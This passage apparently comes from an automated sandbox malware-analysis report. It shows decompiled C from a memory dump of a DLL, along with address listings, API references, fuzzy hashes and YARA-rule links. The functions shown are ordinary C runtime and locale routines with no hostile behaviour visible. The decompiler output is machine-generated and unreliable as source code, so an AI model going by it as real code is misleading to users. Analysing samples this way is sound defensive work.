						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							_t30 = _v48 + 0x88; // 0xffce8305
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *_t30))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E6DD775C0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E6DD775C0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t116 = _t186 - 1;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E6DD339C0(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E6DD775C0( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E6DD77640();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E6DD77640();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E6DD77640();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E6DD5F648(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E6DD778B0(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E6DD52281();
					_t183 = 0x22;
					 *_t129 = _t183;
					E6DD5215B();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x6dd5f345
0x6dd5f350
0x6dd5f357
0x6dd5f359
0x6dd5f359
0x6dd5f35b
0x6dd5f364
0x6dd5f366
0x6dd5f36b
0x6dd5f371
0x6dd5f387
0x6dd5f38c
0x6dd5f38f
0x6dd5f39c
0x6dd5f3a1
0x6dd5f3f5
0x6dd5f3fd
0x6dd5f3ff
0x6dd5f401
0x6dd5f404
0x6dd5f404
0x6dd5f404
0x6dd5f40a
0x6dd5f412
0x6dd5f425
0x6dd5f428
0x6dd5f42a
0x6dd5f42d
0x6dd5f42e
0x6dd5f44f
0x6dd5f452
0x6dd5f452
0x6dd5f430
0x6dd5f430
0x6dd5f432
0x6dd5f43d
0x6dd5f43d
0x6dd5f43f
0x6dd5f446
0x6dd5f441
0x6dd5f441
0x6dd5f441
0x6dd5f43f
0x6dd5f453
0x6dd5f455
0x6dd5f456
0x6dd5f459
0x6dd5f45b
0x6dd5f465
0x6dd5f46f
0x6dd5f45d
0x6dd5f45d
0x6dd5f45d
0x6dd5f474
0x6dd5f474
0x6dd5f479
0x6dd5f47c
0x6dd5f487
0x6dd5f487
0x6dd5f487
0x6dd5f487
0x6dd5f48b
0x6dd5f492
0x6dd5f493
0x6dd5f496
0x6dd5f499
0x6dd5f499
0x6dd5f49b
0x00000000
0x00000000
0x6dd5f4b3
0x6dd5f4ba
0x6dd5f4be
0x6dd5f4c1
0x6dd5f4c4
0x6dd5f4c6
0x6dd5f4c6
0x6dd5f4c6
0x6dd5f4c8
0x6dd5f4cb
0x6dd5f4ce
0x6dd5f4d0
0x6dd5f4d8
0x6dd5f4de
0x6dd5f4e1
0x6dd5f4e4
0x6dd5f4e5
0x6dd5f4e8
0x6dd5f4eb
0x6dd5f4eb
0x6dd5f4f0
0x6dd5f4f3
0x00000000
0x00000000
0x6dd5f50b
0x6dd5f510
0x6dd5f514
0x00000000
0x00000000
0x6dd5f518
0x6dd5f51b
0x6dd5f51c
0x6dd5f51c
0x6dd5f51e
0x6dd5f521
0x00000000
0x00000000
0x6dd5f523
0x6dd5f526
0x6dd5f52d
0x6dd5f530
0x6dd5f533
0x6dd5f549
0x6dd5f549
0x6dd5f549
0x6dd5f535
0x6dd5f535
0x6dd5f537
0x6dd5f53a
0x6dd5f545
0x6dd5f53c
0x6dd5f53f
0x6dd5f53f
0x6dd5f53a
0x00000000
0x6dd5f533
0x6dd5f528
0x6dd5f528
0x6dd5f52a
0x6dd5f52a
0x6dd5f47e
0x6dd5f47e
0x6dd5f481
0x6dd5f54c
0x6dd5f54c
0x6dd5f54e
0x6dd5f550
0x6dd5f553
0x6dd5f554
0x6dd5f555
0x6dd5f556
0x6dd5f55e
0x6dd5f55e
0x6dd5f55e
0x6dd5f560
0x6dd5f563
0x6dd5f566
0x6dd5f568
0x6dd5f568
0x6dd5f56a
0x6dd5f57c
0x6dd5f580
0x6dd5f583
0x6dd5f58a
0x6dd5f592
0x6dd5f592
0x6dd5f595
0x6dd5f597
0x6dd5f5a8
0x6dd5f5a8
0x6dd5f5ac
0x6dd5f5ac
0x6dd5f5af
0x6dd5f5b1
0x6dd5f5b4
0x00000000
0x6dd5f599
0x6dd5f599
0x6dd5f59f
0x6dd5f59f
0x6dd5f5a3
0x6dd5f5b6
0x6dd5f5b6
0x6dd5f5ba
0x6dd5f5bb
0x6dd5f5bd
0x6dd5f5bf
0x6dd5f600
0x6dd5f600
0x6dd5f602
0x6dd5f60f
0x6dd5f60f
0x6dd5f611
0x6dd5f613
0x6dd5f614
0x6dd5f615
0x6dd5f61c
0x6dd5f61f
0x6dd5f621
0x6dd5f621
0x6dd5f622
0x6dd5f624
0x6dd5f627
0x6dd5f627
0x6dd5f629
0x6dd5f62b
0x00000000
0x6dd5f62b
0x6dd5f604
0x6dd5f606
0x00000000
0x00000000
0x6dd5f608
0x00000000
0x00000000
0x6dd5f60a
0x6dd5f60d
0x00000000
0x00000000
0x00000000
0x6dd5f60d
0x6dd5f5c6
0x6dd5f5cc
0x6dd5f5cc
0x6dd5f5ce
0x6dd5f5cf
0x6dd5f5d0
0x6dd5f5d1
0x6dd5f5d8
0x6dd5f5db
0x6dd5f5dd
0x6dd5f5de
0x6dd5f5e0
0x6dd5f5ed
0x6dd5f5ed
0x6dd5f5ef
0x6dd5f5f1
0x6dd5f5f2
0x6dd5f5f3
0x6dd5f5fa
0x6dd5f5fd
0x6dd5f5ff
0x6dd5f5ff
0x00000000
0x6dd5f5ff
0x6dd5f5e2
0x6dd5f5e2
0x6dd5f5e4
0x00000000
0x00000000
0x6dd5f5e6
0x00000000
0x00000000
0x6dd5f5e8
0x6dd5f5eb
0x00000000
0x00000000
0x00000000
0x6dd5f5eb
0x6dd5f5c8
0x6dd5f5ca
0x00000000
0x00000000
0x00000000
0x6dd5f5ca
0x6dd5f59b
0x6dd5f59d
0x00000000
0x00000000
0x00000000
0x6dd5f59d
0x6dd5f597
0x00000000
0x6dd5f481
0x6dd5f47c
0x6dd5f3a3
0x6dd5f3a5
0x00000000
0x6dd5f3a7
0x6dd5f3bd
0x6dd5f3c2
0x6dd5f3c4
0x6dd5f3d0
0x6dd5f3d6
0x6dd5f3d7
0x6dd5f3d9
0x6dd5f3db
0x6dd5f3e6
0x6dd5f3e6
0x6dd5f3e9
0x6dd5f3eb
0x6dd5f3eb
0x6dd5f3ee
0x6dd5f3c6
0x6dd5f3c6
0x6dd5f3c6
0x00000000
0x6dd5f3c4
0x6dd5f373
0x6dd5f373
0x6dd5f37a
0x6dd5f37b
0x6dd5f37d
0x6dd5f62f
0x6dd5f633
0x6dd5f638
0x6dd5f638
0x6dd5f647
0x6dd5f647

APIs

_strrchr.LIBCMT ref: 6DD5F3D0
__alldvrm.LIBCMT ref: 6DD5F5D1
__alldvrm.LIBCMT ref: 6DD5F5F3

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 6deae34975e8103ed65886de447e5f7072f6a5271229e2bb310e9ca1a4878613
Instruction ID: 2d67c79c6d4b8b00abf894fa4c7b7caecd8153b5f77ce91250c8ededc23ca0d4
Opcode Fuzzy Hash: 6deae34975e8103ed65886de447e5f7072f6a5271229e2bb310e9ca1a4878613
Instruction Fuzzy Hash: E1A12672A08387DFEB12EF78C8907AEBBA5EF46314F1541A9F5959F282C3388951C750

Uniqueness

Uniqueness Score: -1.00%

Function 6DD66102, Relevance: 6.1, APIs: 4, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6DD66102(void* __ebx, void* __edx, void* __edi, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __esi;
				signed int _t34;
				signed int _t40;
				int _t46;
				int _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t68;
				signed int _t69;
				short* _t70;

				_t65 = __edx;
				_t34 =  *0x6ddd506c; // 0x5c069606
				_v8 = _t34 ^ _t69;
				E6DD41F60(__ebx,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t6 = _v24 + 8; // 0xc0b0a09
					_t53 =  *_t6;
					_t57 = _t53;
					_a24 = _t53;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					return E6DD2F8A5(_v8 ^ _t69, _t65, _t68);
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0xc
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t68 = 0;
					L11:
					if(_t68 != 0) {
						E6DD339C0(_t67, _t68, _t67, _t55);
						_t46 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t68, _v12);
						if(_t46 != 0) {
							_t67 = GetStringTypeW(_a8, _t68, _t46, _a20);
						}
					}
					L14:
					E6DD1DEE1(_t68);
					goto L15;
				}
				_t20 = _t55 + 8; // 0xc
				asm("sbb eax, eax");
				_t48 = _t40 & _t20;
				_t21 = _t55 + 8; // 0xc
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t68 = E6DD5F26D(_t63, _t48 & _t63);
					if(_t68 == 0) {
						goto L14;
					}
					 *_t68 = 0xdddd;
					L9:
					_t68 =  &(_t68[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E6DD301B0();
				_t68 = _t70;
				if(_t68 == 0) {
					goto L14;
				}
				 *_t68 = 0xcccc;
				goto L9;
			}

0x6dd66102
0x6dd6610a
0x6dd66111
0x6dd6611d
0x6dd66122
0x6dd66127
0x6dd6612c
0x6dd6612c
0x6dd6612f
0x6dd66131
0x6dd66131
0x6dd66136
0x6dd6614f
0x6dd66155
0x6dd6615a
0x6dd661f9
0x6dd661fd
0x6dd66202
0x6dd66202
0x6dd6621e
0x6dd6621e
0x6dd66160
0x6dd66163
0x6dd66168
0x6dd6616c
0x6dd661b8
0x6dd661ba
0x6dd661bc
0x6dd661c1
0x6dd661d8
0x6dd661e0
0x6dd661f0
0x6dd661f0
0x6dd661e0
0x6dd661f2
0x6dd661f3
0x00000000
0x6dd661f8
0x6dd6616e
0x6dd66173
0x6dd66175
0x6dd66177
0x6dd66177
0x6dd6617f
0x6dd6619c
0x6dd661a6
0x6dd661ab
0x00000000
0x00000000
0x6dd661ad
0x6dd661b3
0x6dd661b3
0x00000000
0x6dd661b3
0x6dd66183
0x6dd66187
0x6dd6618c
0x6dd66190
0x00000000
0x00000000
0x6dd66192
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000004,00000000,0000007F,6DD80EA8,00000000,00000000,008B018B,6DD5DA1E,?,00000004,00000001,6DD80EA8,0000007F,?,008B018B,00000001), ref: 6DD6614F
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 6DD661D8
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 6DD661EA
__freea.LIBCMT ref: 6DD661F3

Part of subcall function 6DD5F26D: RtlAllocateHeap.NTDLL(00000000,6DD175D9,00000000,?,6DD30F8B,00000002,00000000,?,?,?,6DCF1298,6DD175D9,00000004,00000000,00000000,00000000), ref: 6DD5F29F

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__freea
String ID:
API String ID: 2652629310-0
Opcode ID: 6e1fd98af84881575b26a1e4f35fccfdde666e3d2255be1dd5539a493333ac05
Instruction ID: 08d998eef6ed932992060a65a215c90625a2fdf39c804a87c625843a69035b26
Opcode Fuzzy Hash: 6e1fd98af84881575b26a1e4f35fccfdde666e3d2255be1dd5539a493333ac05
Instruction Fuzzy Hash: F131B072A0025AEBEF15AFA4CC40EBE7BA5EB41714F1541A8FC14D6241EB39C951CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD63E7F, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6DD63E7F(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x6ddd7908 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x6dd81690 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x5c069607
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x6dd63e84
0x6dd63e88
0x6dd63e8f
0x6dd63e93
0x6dd63ea1
0x6dd63eb7
0x6dd63ebb
0x6dd63ee4
0x6dd63ee6
0x6dd63eea
0x6dd63eed
0x6dd63eed
0x6dd63ef3
0x6dd63ef5
0x00000000
0x6dd63ef6
0x6dd63ebd
0x6dd63ec6
0x6dd63ed5
0x6dd63ec8
0x6dd63ecb
0x6dd63ed1
0x6dd63ed1
0x6dd63ed9
0x00000000
0x6dd63edb
0x6dd63ede
0x6dd63ee0
0x00000000
0x6dd63ee0
0x6dd63ed9
0x6dd63e95
0x6dd63e9a
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue), ref: 6DD63EB1
GetLastError.KERNEL32(?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue,6DD81C58,FlsSetValue,00000000,00000364,?,6DD5D6D1), ref: 6DD63EBD
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,6DD63E26,?,00000000,00000000,00000000,?,6DD641BD,00000006,FlsSetValue,6DD81C58,FlsSetValue,00000000), ref: 6DD63ECB

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction ID: 10c7ce198cad665035f7586435c4289b1abd8b16f8c1bc3224d0342d1aa508a3
Opcode Fuzzy Hash: daa038539bb3e9e58a65d425a84bc8eb66d116ad024b36a1920ba5cfd507bf12
Instruction Fuzzy Hash: FB01D4326652B3ABEB126FA98C44E5777A8AB077A1F140364FD4AD3542DB21D800C6F0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD21558, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E6DD21558(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t15;
				intOrPtr _t17;
				void* _t20;
				intOrPtr* _t32;
				void* _t35;

				E6DD300AC(0x6dd78a31, __ebx, __edi, __esi, 0x3c);
				_t32 =  *((intOrPtr*)(_t35 + 8));
				_t34 = 0;
				_t23 = 0;
				 *((intOrPtr*)(_t35 - 0x10)) = 0;
				if(_t32 != 0) {
					_t37 =  *_t32;
					if( *_t32 == 0) {
						_push(0x44);
						_t17 = E6DD2F8B6(__edx, 0, _t37);
						 *((intOrPtr*)(_t35 - 0x14)) = _t17;
						 *((intOrPtr*)(_t35 - 4)) = 0;
						if(_t17 != 0) {
							_push(E6DCF1703( *((intOrPtr*)(_t35 + 0xc))));
							_t20 = E6DCF1450(0, _t35 - 0x48, __edx, _t32, 0);
							_t23 = 1;
							_push(0);
							_push(_t20);
							 *((char*)(_t35 - 4)) = 1;
							 *((intOrPtr*)(_t35 - 0x10)) = 1;
							_t34 = E6DD20143( *((intOrPtr*)(_t35 - 0x14)), 0);
						}
						 *_t32 = _t34;
						if((_t23 & 0x00000001) != 0) {
							E6DCF14CE(_t35 - 0x48);
						}
					}
				}
				_t15 = 5;
				return E6DD30075(_t15);
			}

0x6dd2155f
0x6dd21564
0x6dd21567
0x6dd21569
0x6dd2156b
0x6dd21570
0x6dd21572
0x6dd21574
0x6dd21576
0x6dd21578
0x6dd2157e
0x6dd21581
0x6dd21586
0x6dd21590
0x6dd21594
0x6dd2159c
0x6dd2159d
0x6dd2159e
0x6dd2159f
0x6dd215a2
0x6dd215aa
0x6dd215aa
0x6dd215ac
0x6dd215b1
0x6dd215b6
0x6dd215b6
0x6dd215b1
0x6dd21574
0x6dd215bd
0x6dd215c3

APIs

__EH_prolog3.LIBCMT ref: 6DD2155F
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD21594

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD215A5

Part of subcall function 6DD20143: __EH_prolog3.LIBCMT ref: 6DD2014A

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD215B6

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: d9e6933db63f0acdc7bec6eed5e1e2bce2d5ab0262999dd3eabebaa2c3264ed9
Instruction ID: 9095eb9c676f84977d7236e4ad77bd57f24e372c48a12108e1e2bc32e60d56bd
Opcode Fuzzy Hash: d9e6933db63f0acdc7bec6eed5e1e2bce2d5ab0262999dd3eabebaa2c3264ed9
Instruction Fuzzy Hash: F501F4B194421ADECB10EFA8C850BEEBB70AF44788F124155F749BB285CBB04B01CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD214EC, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E6DD214EC(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t15;
				intOrPtr _t17;
				void* _t20;
				intOrPtr* _t32;
				void* _t35;

				E6DD300AC(0x6dd78a31, __ebx, __edi, __esi, 0x3c);
				_t32 =  *((intOrPtr*)(_t35 + 8));
				_t34 = 0;
				_t23 = 0;
				 *((intOrPtr*)(_t35 - 0x10)) = 0;
				if(_t32 != 0) {
					_t37 =  *_t32;
					if( *_t32 == 0) {
						_push(0x44);
						_t17 = E6DD2F8B6(__edx, 0, _t37);
						 *((intOrPtr*)(_t35 - 0x14)) = _t17;
						 *((intOrPtr*)(_t35 - 4)) = 0;
						if(_t17 != 0) {
							_push(E6DCF1703( *((intOrPtr*)(_t35 + 0xc))));
							_t20 = E6DCF1450(0, _t35 - 0x48, __edx, _t32, 0);
							_t23 = 1;
							_push(0);
							_push(_t20);
							 *((char*)(_t35 - 4)) = 1;
							 *((intOrPtr*)(_t35 - 0x10)) = 1;
							_t34 = E6DD20110( *((intOrPtr*)(_t35 - 0x14)), 0);
						}
						 *_t32 = _t34;
						if((_t23 & 0x00000001) != 0) {
							E6DCF14CE(_t35 - 0x48);
						}
					}
				}
				_t15 = 5;
				return E6DD30075(_t15);
			}

0x6dd214f3
0x6dd214f8
0x6dd214fb
0x6dd214fd
0x6dd214ff
0x6dd21504
0x6dd21506
0x6dd21508
0x6dd2150a
0x6dd2150c
0x6dd21512
0x6dd21515
0x6dd2151a
0x6dd21524
0x6dd21528
0x6dd21530
0x6dd21531
0x6dd21532
0x6dd21533
0x6dd21536
0x6dd2153e
0x6dd2153e
0x6dd21540
0x6dd21545
0x6dd2154a
0x6dd2154a
0x6dd21545
0x6dd21508
0x6dd21551
0x6dd21557

APIs

__EH_prolog3.LIBCMT ref: 6DD214F3
std::_Locinfo::_Locinfo.LIBCPMT ref: 6DD21528

Part of subcall function 6DCF1450: __EH_prolog3.LIBCMT ref: 6DCF1457
Part of subcall function 6DCF1450: std::_Lockit::_Lockit.LIBCPMT ref: 6DCF1464
Part of subcall function 6DCF1450: std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 6DCF14A1

numpunct.LIBCPMT ref: 6DD21539

Part of subcall function 6DD20110: __EH_prolog3.LIBCMT ref: 6DD20117

std::_Locinfo::~_Locinfo.LIBCPMT ref: 6DD2154A

Memory Dump Source

Source File: 00000002.00000002.534890762.000000006DCF1000.00000020.00020000.sdmp, Offset: 6DCF0000, based on PE: true

Associated: 00000002.00000002.534886369.000000006DCF0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534934724.000000006DD7A000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.534969390.000000006DDD5000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534975907.000000006DDEC000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.534979788.000000006DDED000.00000002.00020000.sdmp Download File

Similarity

API ID: std::_$H_prolog3$LocinfoLocinfo::_$Locinfo::~_Locinfo_ctorLockitLockit::_numpunct
String ID:
API String ID: 495030518-0
Opcode ID: 8349d7e2ece4252b2760bf563e760fbecae28cac5edc98545b11c92ae50b7eec
Instruction ID: 83b460d65be9d84338e84824a13accebdd0b7bf36e8c30c58440da5dc2b1aa8b
Opcode Fuzzy Hash: 8349d7e2ece4252b2760bf563e760fbecae28cac5edc98545b11c92ae50b7eec
Instruction Fuzzy Hash: C501D67194422ADEC701EFA8C840AEEBB70AF40788F124056F709B7245DB704A01C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6DD2C229, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 62%

